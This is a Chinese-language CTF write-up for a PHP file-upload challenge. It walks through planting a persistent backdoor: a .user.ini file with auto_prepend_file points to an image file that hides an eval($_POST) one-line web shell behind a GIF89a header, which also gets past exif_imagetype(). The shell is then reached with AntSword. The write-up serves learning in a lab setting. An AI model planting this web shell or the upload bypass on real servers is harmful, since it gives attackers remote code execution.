先讲操作
首先,构造一个.user.ini
文件,内容如下:
GIF89a
auto_prepend_file=a.jpg
然后构造一个a.jpg,内容如下:
GIF89a
<script language='php'> @eval($_POST['pass']);</script>
然后将两个文件分别上传到服务器上,拿到回显:
在这里可以看到 uploads/33c6f8457bd77fce0b109b4554e1a95c
对应的文件夹下面有两个文件,一个是.user.ini
,还一个是a.jpg
,当然,还有一个index.php
。那就可以构造URL了并用蚁剑连接一下:
http://4f7ddb54-149b-4d8b-80be-af7658abcea1.node3.buuoj.cn/uploads/33c6f8457bd77fce0b109b4554e1a95c/index.php
flag{877b66a3-cd3b-4a5b-b3c4-14c8e84c50c9}
再讲解析
首先拿到这个题目我也不怎么会做,先百度到大佬的博客看了看后,才做出来的。这里涉及到两个知识点:
1.利用.user.ini
上传\隐藏后门
参考链接:https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
使用条件:
(1)服务器脚本语言为PHP
(2)对应目录下面有可执行的php文件
(3)服务器使用CGI/FastCGI模式
.user.ini
实际上就是一个可以由用户“自定义”的php.ini
,我们可以自定义除了PHP_INI_SYSTEM
以外的模式,在执行php代码之前,系统会对.user.ini
先做一个执行,然后才执行其他的php文件。
我们这边利用.user,ini
先执行auto_prepend_file
函数,auto_prepend_file
表示在php程序加载第一个php代码前加载的php文件,也就是先加载了a.jpg里面的文件,即一句话木马。
然后利用蚁剑连接即可。
2.绕过exif_imagetype()
这边利用GIF89a文件头绕过